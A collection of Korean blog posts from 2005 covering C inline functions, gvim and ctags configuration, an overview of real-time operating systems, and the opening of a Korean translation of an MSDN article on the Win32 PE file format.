2005. 9. 26. 11:35
Inline함수는 간단한 함수를 inline으로 정의하여 사용한다.
이것은 컴파일 단계에서 인라인 함수 안의 코드로
치환되어 사용되어진다.

그러므로 일반 함수 call시의 overhead( funtion call stack, funciton local variable)가 없다.그러므로 실행속도의 향상 효과를 얻을 수 있다.

그러나 inline함수 사용시 자주 사용되면서 그 코드가 클 경우
일반 함수를 사용하는 것보다 비효율적이고 코드의 크기가 너무 커질 우려가 있다.
2005. 9. 26. 11:29

Gvim Ctags

OldPapers/linux 2005. 9. 26. 11:29
GVIM 및 CTAG 활용



Download files

http://vim.sourceforge.net        ->   gvim63.exe    

http://ctags.sourceforge.net    ->   ec554w32.zip



윈도우용 VI(GVIM)

1. gvim63.exe(Ver. 6.3)를 설치합니다. (native language를 지원해서 한글로 메뉴가 나옵니다)



2. ctags.exe(Ver. 5.5.4)를 gvim이 설치된 곳인 C:\Program Files\Vim\vim63\에 복사합니다.



3. 환경변수 PATH 설정

[내 컴퓨터 -> 속성 -> 고급 -> 환경변수 -> 시스템 변수 -> Path - 편집]에서 맨 끝에 gvim을 설치한 곳을 추가합니다.

    예) ;C:\Program Files\Vim\vim63\

4. gvim 환경 설정


C:\Program Files\Vim\_vimrc 파일을 수정하면 기본 설정을 변경할 수 있습니다.

파일의 맨 앞줄을 "로 시작하면 주석 줄로 인식합니다. (C/C++ 의 '//' 혹은 기타 쉘의 '#')



다음의 라인을 추가합니다.

set nocp "오리지널 VI와의 호환성을 없애고, VIM 만의 기능들을 쓸 수 있게 함. (compatible)

syntax on "언어에 따른 자동 문법, 구문의 색을 다르게 표시.

filetype on "파일의 종류를 자동으로 인식.
colorscheme torte "컬러스킴을 변경.

set ru "화면 우측 하단에 현재 커서의 위치(줄, 칸)를 표시. (ruler)

set sc "완성중인 명령을 표시.

set nu "라인 번호를 표시.

set vb "키를 잘못눌렀을 때 삑 소리를 내는 대신 번쩍임. (visualbell)
set hls "검색된 스트링의 하이라이트. (hlsearch)

set ci "C 형태의 들여쓰기. (cindent)
set ai "자동 들여쓰기. (autoindent)
set si "좀더 똑똑한 들여쓰기. (smartindent)

set sw=4 "자동들여쓰기를 4칸으로 설정. (shift width)

set ts=4 "tab 간격을 4칸으로 설정. (tab stop)



다음의 라인은 필요시에만 추가합니다.

set backupdir=C:\Backup "백업 파일을 저장할 디렉토리를 설정.

set bs=indent,eol,start "백스페이스 사용.

set sol "여러가지 이동 동작시 줄의 시작으로 자동 이동.

set ch=1 "맨 아래 보이는 명령줄의 높이를 설정, 기본 값은 1
set km=startsel,stopsel "SHIFT 키로 선택 영역을 만드는 것을 허용.

set sel=exclusive "비주얼 모드에서의 동작 설정.

set scs "똑똑한 대소문자 구별 기능 사용.

set hi=50 "명령어 기록을 남길 개수 지정. (history)

set sts=0

set nows "검색시 파일 끝에서 처음으로 되돌리기 안함.
set noet "탭 -> 공백 변환 기능 사용안함.

set sm "가로 닫기 괄호를 사용할 때 일치하는 가로 열기 괄호를 보여줌.

set nobackup "백업 파일을 만들지 않음.
set encoding=cp949 "인코딩을 설정

set fenc=utf-8

set fenc=unicode



"GUI 이면, 시작시 크기 설정

if has("gui_running")

    set lines=89

    set co=114

endif



5. 분석할 소스의 tags 파일 생성

분석할 소스 트리의 루트로 이동합니다.

예) test_src 소스를 c:\test_src>에 풀어 놨다고 가정합니다.

소스의 루트 디렉토리에 vi.bat 파일을 만들고 메모장으로 열어서 다음과 같이 입력합니다.



ctags -R . ------------------------- ① -R과 .(dot)를 사이에 스페이스가 있습니다.
gvim -S Session.vim ---------------- ②



① 소스의 루트 디렉토리에 tags 라는 파일이 생성됩니다.

    1. vi.bat를 실행할 때마다 매번 tags 파일이 갱신됩니다.

    2. 소스의 내용이 변경되지 않는다면  ① 번 라인을 제거합니다.

    3. 소스의 내용이 방대할 경우 tags 파일을 만드는 데 오랜 시간이 걸리므로 ① 번 라인을 제거하고

         tags 파일을 갱신하고자 할 때 gvim에서 [도구 - 꼬리표 만들기]로 tags 파일을 만들어 줍니다.
② 소스의 루트 디렉토리에 Session.vim 파일이 존재할 경우 읽어옵니다.

    1. Session.vim 파일은 vi의 분할된 화면 상태를 저장합니다.

    2. gvim에서 [창 - 파일 익스플러로 나누기], [창 - #으로 나누기], [창 - 세로로 나누기] 등으로 화면을 분할한 후

        세션을 저장하면 Session.vim 파일이 생성됩니다.



VI에서 ctags 활용

^](ctrl + ]) 또는 g^] 다른 파일에 속한 단어의 정의 부분으로 찾아갑니다.
^T(ctrl + t) 다른 파일에서 다시 돌아옵니다.

[i 함수 프로토타입 확인합니다.



찾고 싶은 keyword를 현재 cursor 위치에 놓을 수 없는 경우

:tj keyword

:ta keyword




같은 keyword에 대해 여러곳에서 선언된 경우에는

tag 1 of 2 or more 과 같은 메시지가 뜨는 것을볼 수 있습니다.

이것은 해당 keyword에 대한 tag가 여러개 있다는 의미입니다.

그 keyword 위에서 g]를 입력하면 VIM은 tag list를 나열한 후 선택할 수 있도록 해 줍니다.

:tn Next tag search

:tp Previous tag search




태그파일 위치지정

여러 tag 파일들을 동시에 참조를 할 수 있으며 keyword를 아래 tags 파일에서 순서대로 search합니다.



set tags=./tags,../tags,../include/tags,/usr/include/tags


작업할 directory에 _vimrc 파일을 만들어 위의 line을 넣고 vim을 실행시키면 home의 _vimrc를 읽은 후에 현재 directory의 _vimrc를 읽게 됩니다. 만약 vim이 현재 directory의 _vimrc를 읽지 않는것 같다면 :set all 하셔서 noexrc가 설정되어 있는 지 확인해 보시기 바랍니다. exrc이어야 local디렉토리의 _vimrc를 읽습니다. 만일 noexrc라면 C:\Vim/_vimrc에 set exrc 를 넣어놓으면됩니다.



좀더 자세한 사항을 알고 싶으면?

:help tags
:help g]
:help :tjump
:help :sts
:help :tn

반드시 :help tags를 해서 대충이라도 읽어보시기 바랍니다. 많은 유용한 명령들이 있습니다.



같은 단어 반복 찾기

커서위에 있는 같은 단어를 찾아 이동합니다.
* 아래로 갈 때

# 위로 갈 때는



gd를 누르면 열려있는 file에서 커서위의 단어가 정의되어 있는지 확인하여 있으면 가고 없으면 현재 자리에서 선택된 대로 있습니다. 그 상태에서 n을 누르면 아래로 이동하고 N을 누르면 위로 이동합니다. 그리고 gd를 눌러서 해당 단어의 선언이나 정의만 보고 다시 제자리로 오고 싶으면 '(엔터옆 따옴표)를 두 번 누르면됩니다.



파일이 탭으로 작성되었는지 확인 하기

:set list





중복된 여러개 선언이 있을때 예를 들어서 i386/arm/mips/alpha 등 플랫폼에서 모두가 선언하였을때 tag이동은 올바로 가는 경우가 거의 없죠. 그럴때는 g + ctrl + ] 로 리스트를 뽑아서 이동하세요.





Usage: ctags [options] [file(s)]

-f <name> Write tags to specified file. Value of "-" writes tags to stdout ["tags"; or "TAGS" when -e supplied].

-h <list> Specify list of file extensions to be treated as include files. [".h.H.hh.hpp.hxx.h++"]

-R Equivalent to --recurse.



Usage: vim [arguments] [file ..]

2005. 9. 26. 11:27

RTOS

OldPapers/linux 2005. 9. 26. 11:27
이번에는 RTOS에 대하여 개괄적으로 정리해보려 하였습니다.

그런데 너무 무모한 도전이었던 것 같아 조금 후회되네요.. ^^ 워낙 방대하고 전문적인 내용도 많아 소화가 잘 안되는군요 ^^ 일단 나름대로 정리해보고, 다음 기회에 좀더 보충해볼 생각입니다.





RTOS( Real-Time Operating System)


RTOS란?
RTOS(Real-Time Operating System)는 Real-Time (Embedded) System을 위한 운영체계이다. 따라서 먼저 Embedded System과 Real-time System의 정의를 이해할 필요가 있다.

Embedded System
정의
마이크로프로세서 혹은 마이크로 컨트롤러를 내장하여(embedded)  미리 정해진 기능만을 수행하는 장치

cf) PC처럼 사용자가 프로그램을 바꿔가며, 여러 가지 용도로 활용할 수 있다면 그 시스템은 embedded system으로 분류하지 않는다.

응용분야
정보가전, 정보단말, 통신장비, 항공/군용, 물류/금융, 차량/교통, 사무, 산업/제어, 의료, 게임

Real-Time System
정의
“예고 없이 불시에” 발생하는 이벤트에 대하여 “정해진 시간” 내에 “정확한 결과”를 제공하되, 그 응답시간이 “예측가능”하고 일정해야 하는 시스템

즉 시간 상의 제약(Time Correctness, 시간적 정확성)이 중요시되는 시스템이다.

종류
Hard Real-Time System : deadline을 넘기면 처리가 의미 없음

Soft Real-Time System : deadline을 넘기더라도 여전히 처리는 의미 있음, 그 가치는 떨어짐

Real-Time Embedded System
정의
Real-Time 요건을 충족하여야 하는 Embedded System.

범위
대부분의 컨트롤 시스템은 Real-Time Embedded System.

ex) ID 체크 보안시스템, 공장 로봇, ATM(Automated Teller Machine)

RTOS
정의
Real-Time 성격의 어플리케이션을 개발/수행하기 위한 OS.

cf) 많은 RTOS는 Real-Time Embedded System을 위해 설계되고 사용되고 있다.

왜 RTOS가 필요한가?
Real-Time Embedded System을 개발하기 위해, 멀티태스킹과 같은 기능이 중요해지고 있는데, 기존 범용 멀티태스킹 OS는 시간적 정확성을 보장해주지 못해, 이를 지원해주는 RTOS가 필요하다.

멀티태스킹의 필요성
Real-Time Embedded System의 기능이 점점 복잡해져,  S/W 개발과 유지보수가 점점 어려워지고,  더 많은 시간과 비용이 필요해지고 있다. 이를 해결하기 위해,  시스템의 기능을 “순차적으로 실행되는 하나의” 프로그램으로 구현하는 대신, 여러 개의 task(multi-task)로 분할하여 개발할 필요가 있다.

멀티태스킹의 형태로 개발하면 다음과 같은 잇점이 있다.

1) 코드의 개발, 수정, 유지, 보수가 보다 용이하다.

2) 이벤트에 대해 보다 신속하게 응답할 수 있다.

( interrupt가 발생하면, 진행 중인 task 대신 interrupt를 처리할 task를 우선적으로 실행할 수 있다. )

3) 시스템의 신뢰도와 성능을 높일 수 있다.



cf) Real-Time Embedded System에서의 멀티태스킹:

범용 시스템의 경우, 멀티태스킹은 서로 무관한 여러 작업( ex. word, email, media-player)을 동시에 수행하는 것을 말한다. 그러나 Embedded System의 경우는 하나의 임무를 수행하기 위해, 동시에 수행되어야 하는 여러 task를 수행하는 것을 말한다. 즉 이들 task들은 하나의 어플리케이션을 구성하는 모듈(부품)이 된다.

멀티태스킹 OS의 필요성
멀티태스킹은 다음과 같은 까다로운 문제를 일으킨다. 이들 문제는 직접 해결하기 보다는 OS를 도입하는 것이 훨씬 효과적이다.

1) task간 경쟁의 관리

2) 데드락

3) 우선순위 역전( priority inversion )

4) 재진입 문제( Reentrancy )

5) task간 통신



ex) ADSL Router

ADSL Router의 경우에, PPP, IP, TCP/UDP 프로토콜을 처리하면서, 동시에 라우터 간의 동기화를 위해 RIP 메시지를 주고받아야 하고, 시스템 관리 정보를 주고받기 위해 SNMP 메시지도 발송하는 등의 여러 task들을 동시에 수행하고 있다. 이것을 multitasking을 지원하는 OS의 도움 없이 “하나의 프로그램”으로 작성할 경우, 이 프로그램은 심각하게 복잡해진다.

RTOS의 필요성
기존의 범용 멀티태스킹 OS의 경우,  상대적으로 시간에 엄격하지 않아, Real-Time 요건을 만족시키기엔 부적합하다.

범용(상용) OS와의 차이점
범용 OS는 하드웨어 자원을 효율적으로 사용하고, 얼마나 공평하게 분배할 것인가에 초점을 맞추는데 비해, RTOS는 우선순위가 높은 Task가 보다 많은 자원을 할당하고, 하드웨어 자원의 낭비를 감수하더라도, 작업의 시간제한에 맞추는 것에 초점을 둔다.

RTOS 역할의 확대
지금은 멀티태스킹 뿐 아니라, Network, File System, GUI와 같은 다른 OS 서비스에 대한 필요성도 강조되고 있다.



RTOS는 뭘 갖추어야 하는가?
RTOS는 real-time을 보장해주는 것 뿐 아니라, embedded system환경에 맞는 특성을 갖추어야 한다.

시간적 정확성을 보장하는 멀티태스킹
멀티태스킹 환경에서 모든 OS 서비스 호출과 interrupt에 대한 반응시간의 최대값(WCET, worst case execution time)을 보장할 수 있고,  실행시간의 편차가 작아야 한다. 즉 작업 소요시간을 예측할 수 있어야 한다.

또한 최적화된 성능을 제공하되, 우선순위가 높은 일이 우선적으로 자원을 분배하여, 시간 제한 내에 끝날 수 있도록 해야 한다.

높은 신뢰도와 가용성
Embedded system은 범용 시스템에 비하여, 오작동하거나, 중지되었을 때, 치명적인 경우가 많아 높은 신뢰도와 가용성이 필요하다. 따라서, RTOS 역시 기능은 다소 적더라도 신뢰도와 가용성 확보가 중요하다.

ex. 의료용 X선 장비의 오작동으로 환자 사망.  화성탐사선 제어시스템의 오작동 혹은 중단으로 탐사선 분실.
원자력 발전소 냉각장치 컨트롤러의 중단 등…



작고 유연한 구조
Embedded System의 H/W는( CPU, 메모리 등) 그 사양이 일반적인 컴퓨터 시스템에 비해 열악하다. 따라서 RTOS가 Embedded System 을 지원하기 위해서는 최소의 자원(이를테면 2KB에서 10KB정도의 메모리공간)만을 활용하여 작동할 수 있어야 한다.

또한 각 시스템에 적합한 OS 서비스를 선별적으로 설치하여, 작은 크기를 유지하면서도 다양한 요건에 대응할 수 있어야 한다.



이식성
일반적인 컴퓨터 시스템에 비해 Embedded System은 그 H/W 구성이 훨씬 다양하다. 범용컴퓨터의 CPU는 Intel x86, PowerPC , Sparc 등 몇 가지 유형 중 하나를 사용하지만, Embedded System의 경우, Intel x86, Motorola 6800계열, ARM, StorngARM, MIPS, PowerPC 등 훨씬 다양하다.

RTOS는 이러한 다양한 환경 위에서 작동할 수 있는 이식성을 갖추어야 한다.

ex. VxWorks RTOS의 경우에는 20가지 이상의 CPU지원

RTOS의 기술 요소
RTOS로서 갖추어야 할 요건을 제대로 갖추기 위하여 RTOS에는 다음과 같은 기술들이 적용된다. ( 그러나 이들 기술이 항상 모두 사용되는 것은 아니고 경우에 따라 선택적으로 사용된다. )

우선순위 기반 스케쥴링
시간적 정확성을 보장하는 멀티태스킹

실행 중에 task에 자원을 공평하게 배분하기 보다는, 임무를 완수하는데 보다 중요한 task를 시간 내에 수행하는 것이 중요하므로, task간의 우선순위를 부여한 후, 그에 맞춰 자원을 배분한다.

우선순위 기반 스케쥴링에는 다음과 같은 알고리즘이 있다.

1) 주기단조분석( Rate Monotonic Analysis, RMA )

: 실행 주기가 짧을수록(자주 실행될수록?) 높은 우선순위를 고정적으로 부여

2) Earliest Deadline First( EDF )

: Dead line까지 남아있는 시간이 짧을수록 높은 우선순위를 동적으로 부여

선점형 스케쥴링
시간적 정확성을 보장하는 멀티태스킹

선점형 스케쥴링은 현재 실행 중인 task가 “양보”를 하지 않더라도, 스케쥴러가 컨트롤을 다른 task로 넘겨줄 수 있도록 하는 것이다.

RTOS는 선점형 스케쥴러를 선호하는데, 그 이유는 다음과 같다.

1) 선점형 스케쥴러를 사용하여야, 제대로 우선순위 기반의 스케쥴링을 할수 있다.

만약 실행 중인 task가 “양보”를 한 후에야 다른 task로 컨트롤을 넘길 수 있다면( 비선점형 스케쥴링), 우선 순위가 낮은 task가 제 때 양보를 하지 않아, 높은 우선순위의 task가 무작정 기다리는 일이 발생할 수 있다. 즉 반응 시간의 최대값을 보장하고 예측하기가 곤란해진다.

2) interrupt에 대한 반응시간을 줄이고 그 최대값을 예측가능하게 할 수 있다.

비선점형 스케쥴러에서는 interrupt가 발생했을 때, ISR이 interrupt를 처리한 후, 컨트롤이 현재 실행 중이던 task로 다시 돌아가, 그 태스크가 양보할 때까지 기다린 후, interrupt를 실제 처리한 task가 실행된다. 즉 interrupt에 대한 반응시간이 그 만큼 지연되고, 그 최대값을 보장하거나 예측하기 곤란해진다.

선점형 스케쥴러는 ISR 수행 후, interrupt를 실제 처리할 task로 컨트롤을 넘길 수 있으므로, 현재 실행 중인 task가 양보하기를 기다릴 필요가 없다.

선점형 커널(Preemptible Kernel) – 재진입 가능한(Reentrant) 커널 서비스
시간적 정확성을 보장하는 멀티태스킹

커널 서비스(system call)를 재진입가능하게 작성하여 시간적 정확성을 높일 수 있다.

“재진입가능”하는 것은 어떤 함수를 수행하던 도중 잠시 멈추고 다른 일을 수행하다가 다시 돌아오더라도 아무 문제없이 다시 진행할 수 있다는 뜻이다. 만약 커널 서비스가 재진입 가능하지 않게 작성되어 있다면, 그 서비스가 완결되기전에는 다른 task를 수행할 수 없다. 즉 시간적 정확성이 그만큼 떨어지게 된다.

커널 서비스가 재진입가능하게 작성되었을 때,  즉 system call 이 수행 도중에 잠시 멈추고 다른 task를 수행할 수 있을 때, 그 커널을 선점형 커널이라 부른다.

Semaphore ( Mutual Exclusion / Synchronization)
시간적 정확성을 보장하는 멀티태스킹

멀티태스크 환경에서 task간의 충돌을 방지하기 위해서, 하나의 task가 사용하고 있는 자원을 다른 task가 사용하지 못하도록 막거나( Mutual Exclusion ), 서로 다른 task사이에 실행속도를 맞출( Synchronization) 필요가 있는데, 이를 구현하는 여러 방법 중 세마포어가 시간적 정확성을 가장 잘 보장해 준다.

Mutual Exclusion를 구현하기 위해 다음과 같은 방법을 사용할 수 있다.

1) 공유자원을 사용하는 동안 interrupt 금지

2) 공유자원을 사용하는 동안 스케쥴링 금지

3) 세마포어 사용

interrupt를 금지하는 방법은 interrupt를 놓칠 우려가 있고, 스케쥴링을 금지하는 방법은 우선순위가 낮은 task가 많은 자원을 점유할 우려가 있다. 세마포어는 그럴 우려가 없어 시간적 정확성을 저해하지 않는다.

우선순위 역전( Priority Inversion ) 방지
시간적 정확성을 보장하는 멀티태스킹

우선 순위가 높은 task가 우선 순위가 낮은 task와 semaphore를 공유할 때, 낮은 task가 semaphore를 풀어주기를 “무작정” 기다리느라 같이 늦어지고 중간수준의 task만 실행되는 문제가 발생할 수 있다.  이를 “우선순위 역전 현상”이라 하며 이것을 방지하기 위해, 다음과 같은 기법을 사용할 수 있다.

우선순위 상속( Priority Inheritance Protocol)
높은 task를 기다리게 만드는 낮은 task의 우선순위를  높은 task와 같은 레벨로 (임시로) 올려, semaphore를 빨리 풀어줄 수 있도록 하는 방법

우선순위 한도 제한( Priority Ceiling Protocol)
당장 사용하지 않는 semaphore라 하더라도, 보다 높은 task가 그것을 사용할 가능성이 있으면 낮은 우선순위의 task를 기다리게 하는 방법

è 사실은 명확하게 이해하지 못했음 ^^;;;

Micro Kernel
작고 유연한 구조

OS 커널을 설계할 때, micro kernel과 monolithic kernel의 2가지 접근방법이 있는데, micro kernel이 embedded system에 보다 적합하다.

monolithic kernel 방식은 모든 OS 서비스를 하나의 커널 내에서 구현하는 방법이며, micro kernel은 최소한의 필수 기능만을 kernel에 구현하고, 나머지 OS 서비스들은 선택적으로 설치/수정/제거될 수 있는 모듈 형태로 kernel에 추가할 수 있도록 하는 방법이다.

micro kernel은 OS 서비스 간의 통신 부하나 컨텍스트 스위칭 부하로 인하여 전체적인 성능이 떨어지는 문제가 있지만, 필요한 OS 서비스 만을 선택적으로 설치할 수 있다는 점에서 H/W 환경이 열악한 embedded system에 보다 적합하다. 따라서 RTOS 전용 kernel의 경우에는 micro kernel 방식을 선호한다.



RTOS의 종류
RTOS 전용 커널( small, fast, proprietary kernels )
크기와 성능에 최적화된 커널

상용 OS에 비해, 추가적인 OS 서비스와 소프트웨어 개발 환경이 상대적으로 약하다.


eCos, QNX, PDOS, pSOS, VCOS, VRTX32, VxWorks



범용 OS 커널 ( real-time extensions to commercial operating systems )
상용(범용) OS에 실시간 지원기능 추가

뛰어난 기능과 소프트웨어 개발 환경

성능과 시간적 정확성에서 다소 미흡


RT-Linux, KURT Linux, RTE-Linux, RT-UNIX, RT-POSIX, RT-MACH, CHORUS



차세대 커널( research operating systems )
“시간적 정확성”을 직접적으로 관리하고자 시도(?)


ARX, MARS, SPRING, MARUTI, ARTS, CHAOS, HARTOS



RTOS 의 표준화
POSIX( Portable Operating System Interface )
IEEE의 OS 표준인 POSIX에 real-time 관련 내용을 추가

TRON ( The Real-time Operating system Nucleus )
일본 주도의 표준화

Reference
http://artoa.hanbat.ac.kr/lecture_data/embedded_sw/01.pdf

http://sjlee.sch.ac.kr/arch/arch-grad/발표-18-RTOS.ppt

http://www.ida.liu.se/~TDDB47/lectures/RTOS.pdf

http://cs.chungnam.ac.kr/~ykim/courses/grad-rts2000/notes/rtos-overview.pdf

http://www.netmanias.com/contents/whitepaper/20000318-cmyoo-rtos/rtos1.pdf

http://sinsi.cs.pusan.ac.kr/~idjung/list/hn/devel_es_rtos_for_IA.ppt

http://www.securitytechnet.com/resource/rsc-center/gartner/56450-1.pdf

http://www.dioiz.com/download/an1004.pdf

http://www.china-core.com/data/discourse/WuhanSeminar10.ppt



2005. 9. 26. 11:26

PE format

OldPapers/linux 2005. 9. 26. 11:26
PE 포맷 분석

이 문서는 msdn의 매트 피에트릭의 문서 http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndebug/html/msdn_peeringpe.asp 를 번역한 것 입니다.

Peering Inside the PE: A Tour of the Win32 Portable Executable File Format
운영체제의 실행 파일의 포맷은 많은 부분에서 운영체제의 거울이라고 할 수 있다. 비록 실행 파일 포맷이 대부분의 프로그래머들이 공부해야 할 것중 높은 위치를 차지하지 않지만 중요한 지식을 이러한 방법을 통해서 모을 수 있다. 이 문서에서는 모든 Win32 기반의 시스템 -- Windows NT, Win32s, Windows 95 -- 에서 사용하기 위해서 디자인된 마이크로소프의 PE 파일 포맷에 관해서 알아볼 것이다. PE 파일 포맷은 Windows 2000을 포함한 가까운 장래에 나올 모든 마이크로소프트 운영체제에서 중요한 역할을 할 것이다. Win32s나 Windows NT를 사용하고 있다면, 벌써 PE 파일을 사용하고 있는 것이다. VC++을 사용해서 Windows 3.1만을 위한 프로그램을 작성한다고 할지라도 여전히 PE 파일(32비트 MS-DOS 확장)을 사용하고 있는 것이다. 짧게 말해서, PE는 벌써 보급되어 있으며 가까운 장래에 바뀌기는 힘들것이다. 지금이 이 새로운 실행 파일 타입이 운영체제 파티에 무엇을 가지고 왔는지 살펴볼 시간이다.

끝이 없는 헥사 덤프를 빤히 쳐다보고는 페이지 끝에 나오는 각각의 비트들의 중요성을 곱씹는 대신에 PE 파일 포맷이 포함하고 있는 켄셉과 매일 부딪히는 상황과 관련지어서 살펴보도록 하자. 예를들면 아래에 나오는 것 같은 쓰레드 지역 변수의 표시는

declspec(thread) int i;

실행 파일 내에서 우아하고 간결하게 어떻게 구현되는지 알기 전까지는 나를 미치게 만들었다. 많은 독자들이 16비트 Windows로 부터 넘어왔기 때문에, 나는 Win32 PE 파일 포맷의 구성요소들과 과거 16비트 NE 파일 포맷의 동등한 부분들을 연관지어서 설명할 것이다.

게다가 마이크로소프트사의 컴파일러와 어셈블러가 만들어 내는 새로운 오브젝트 모듈 포맷과의 차이점도 살펴볼 것이다. 이 새로운 OBJ 파일 포맷은 많은 부분에서 PE 파일과 유사하다. 나는 결국 새로운 OBJ 파일 포맷과 관련된 어떠한 문서도 없다는 것을 알게 되었다. 그래서 나는 스스로 그것들을 분석했고, 여기서 PE 포맷에 추가해서 일부를 설명할 것이다.

Windows NT가 VAX VMS와 UNIX로 부터 발전되었다는 것은 많이 알려진 사실이다. Windows NT을 작성한 많은 프로그래머들은 마이크로소프로 오기 전에 그러한 플랫폼에서의 코딩과 디자인을 했었다. Windows NT를 디자인 할때, 그들은 이전에 작성하고 테스트된 툴을 사용해서 부트스트랩 작성 시간을 줄이는 것은 자연스러운 것이었다. 이러한 툴들이 생성하고 같이 작업한 실행가능한 파일 포맷과 오브젝트 모듈 포맷은 COFF(Comm Object File Format의 머릿글자를 따서 지어졌다.)라 불렸다. COFF의 상대적인 나이는 8진수 형태로 필드를 구체화 시켰다는 점에서 알 수 있다. COFF 포맷은 그것 자체로는 좋은 시작 지점이었다. 그러나 Windows NT나 Windows 95와 같은 현대의 운영체제 시스템에서 요구하는 것을 충족시키기 위해서는 확장할 필요가 있었다. 이러한 업데이트의 결과가 PE 포맷이다. 그것은 "이식 가능하다고(prtable)" 불렸다. 왜냐하면 Windows NT의 모든 구현은 다양한 플랫폼에서 (x86, MIPS, Alpha, ...) 동일한 실행 파일 포맷을 사용하기 때문이다. 물론 CPU 명령어에따른 바이너리 인코딩의 차이는 있다. 중요한 점은 운영체제 로더와 프로그래밍 툴들은 각각의 새로운 CPU에 대해서 완전히 새롭게 작성할 필요가 없다는 점이다.

마이크로소프트 위원회가 윈도우 NT를 업그레이드 시키고 빠르게 동작시키기 위한 노력은 존재하는 32비트 툴과 파일 포맷을 포기했다는 점에서 찾을 수 있다. 16비트 윈도우의 가상 디바이스 드라이버는 윈도우 NT가 물망에 오르기 훨씬 전에 나온 다른 32비트 파일 구조 - LE 포맷 - 를 사용하고 있었다. 더 중요한 것은 OBJ 파일 포맷의 변화이다. 윈도우 NT 이전의 C 컴파일러, Win32환경에서 실행되는 모든 마이크로소프트 컴파일러는 COFF 포맷의 OBJ 파일을 생성한다. 볼랜드나 시만텍같은 몇몇 마이크로소프트 경쟁자들은 COFF 포맷을 보류하고 인텔의 OMF 포맷을 사용한다. 마침내 이것은 다양한 컴파일러에서 사용하기 위해서는 OBJ나 LIB 파일을 다른 컴파일러를 위한 별도의 버전을 제작해서 배포하는 수고가 필요가게된 것이다.

PE 포맷은 WINNT.H 헤더파일에 대충(성의없이) 문서화 되어있다. 대략 WINNT.H의 중간 부분 정도에 "Image Format"이라고 이름지어진 섹션이 있다. 이 섹션은 새로운 PE 정보로 옮겨가기전 오래되어 친숙한 MS-DOS MZ 포맷과 NE 포맷 헤더에서 나온 작은 tidbits로 시작한다. WINNT.H는 PE 파일에서 사용되는 가공되지않은 자료 구조들에 대한 정의를 제공한다. 그러나 단지 그 구조체들과 플래그들이 무엇을 의미하는지 이해하기 위한 아주 조금의 유용한 코멘트만 포함하고 있다. PE 포맷에 관한 헤더 파일을 작성했던 사람이 누구든지(Michael J. O'Leary가 떠오르고 있다), 그는 깊숙하게 중첩된 구조체와 매크로를 따라서 길고, 묘사적인 이름에 관한 신봉자임에 틀림없다. WINNT.H와 함께 코등힐때, 이러한 표현을 사용하는 것은 전혀 이상한 것이 아니다.

pNTHeader->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;

WINNT.H의 정보를 좀 더 쉽게 이해하기 위해서는 2001년 10월 이후에 배포된 MSDN 라이브러리 CD-ROM에서 구할 수 있는 Protable Executable and Common Object File Format 항목을 읽기를 권한다.

주제를 COFF 포맷 OBJ로 잠깐 돌려서, WINNT.H 헤더 파일은 COFF OBJ및 LIB 파일을 위한 typedefs와 구조체 정의를 포함하고 있다. 불행히도, 나는 위에 언급된 실행 파일 포맷과 마찬가지로 이것에 관한 어떠한 문서도 찾을 수 없었다. Since PE files and COFF OBJ files are so similar, I decided that it was time to bring these files out into the light and document them as well. PE파일과 COFF OBJ파일은 매우 유사하기 때문에 나는 이러한 파일들에 대한 가벼운 문서를 남기기기로 결정했다.???

PE파일이 무엇으로 구성되었는지에 관해서 알기보다는, 직접 이러한 컨셉을 보기위해서 몇몇 PE 파일들을 덤프하기를 원할 것이다. 만약 Win32 기반의 개발을 위해서 마이크로소프트 툴들을 사용하고 잇다면, DUMPBIN 프로그램이 PE 파일과 COFF OBJ/LIB 파일들을 분석해서 읽을수 있는 형태로 출력해준다. Of all the PE file dumpers, DUMPBIN is easily the most comprehensive. It even has a nifty option to disassemble the code sections in the file it's taking apart. 모든 PE 파일 덤프를 하는 프로그램 중에서, DUMPBIN은 가장 이해하기 쉽다. DUMPBIN은 자신이 분석하고 있는 파일의 코드 섹션을 디어셈블할 수 있는 멋진 옵션을 가지고 있다. 볼랜드 유저는 PE 실행 파일을 보기 위해서 TDUMP를 사용할 수 있다, 그러나 TDUMP는 COFF OBJ 파일들을 이해하지 못한다. 이것은 볼랜드 컴파일러가 COFF 포맷의 OBJ 파일을 만들지 않기 때문에 큰 문제가 되지 않는다.

나는 PE와 COFF OBJ파일을 덤프해주는 PEDUMP라는 프로그램을 만들었다.(Table 1을 보라) 나는 PEDUMP가 DUMPBIN에 비해서 더욱 이해하기 쉬운 출력을 제공한다고 생각한다. 비록 PEDUMP가 디어셈블러를 가지고 있지 않고 LIB 파일을 분석할 수 없지만, 다른 부분들은 DUMPBIN과 기능적으로는 동일하다. 그리고 생각해볼 가치가 있는 새로운 기능들도 추가되어있다. PEDUMP 소스코드는 MSJ 게시판에서 얻을 수 있기 때문에 전체 리스트를 여기에 보이지 않을 것이다. 대신에 내가 설명한 컨셉트들을 보여주기 위해서 PEDUMP의 샘플 출력을 보여줄 것이다.

Win32 와 PE의 기본적인 컨셉
PE 파일의 디자인의 골격을 이루고 있는 기초적인 아이디어들을 살펴보도록 하자. "모듈"이라는 용어는메모리에 로드된 실행 파일이나 DLL의 코드, 데이터 그리고 리소스를 나타낼때 사용할 것이다. 게다가 프로그램이 직접 사용하는 코드와 데이터뿐만 아니라 모듈은 코드와 데이터가 메모리 어느 위치에 있는지 결정하기 위해서 윈도우에서 사용하는 자료 구조로 구성된다. 16비트 윈도우에서는, 윈도우에서 사용하는 자료 구조가 모듈 데이터 베이스 내에 있었다(HMODULE에 의해 참조되는 세그먼트). Win32에서는 이러한 자료 구조들은 지금부터 간단히 설명할 PE 헤더내에 있다.


그림 1. PE 파일 포맷

PE 파일에 관해서 알아야할 첫번째로 가장 중요한 것은 디스크에 있는 실행 파일은 윈도우가 로드한 후의 모듈과 매우 유사하다는 점이다. 윈도우 로더는 디스크 파일로부터 프로세스를 생성하기 위해서 극도로 어려운 일들을 필요로 하지 않는다. 로더는 파일의 조각들을 가상 주소 공간으로 적절하게 매핑하기 위해서 메모리 맵 파일 메카니즘을 사용한다. 건축과 비교하자면 PE 파일을 조립식 주택에 비유할 수 있다. 조립식 주택으로 집을 지으려면 결국 각 부분을 한 번에 하나씩 집 지을 자리에 옮겨 놓은 다음 각 부분을 외부와 연결시키는 작업이 필요하다(PE에 DLL을 연결시키는 것처럼). 이러한 쉬운 로딩 방식은 PE 포맷 DLL에도 동일하게 적용된다. 모듈이 한번 로드되고 나면, 윈도우는 다른 메모리 맵 파일과 같이 효율적으로 다룰수 있게 된다.

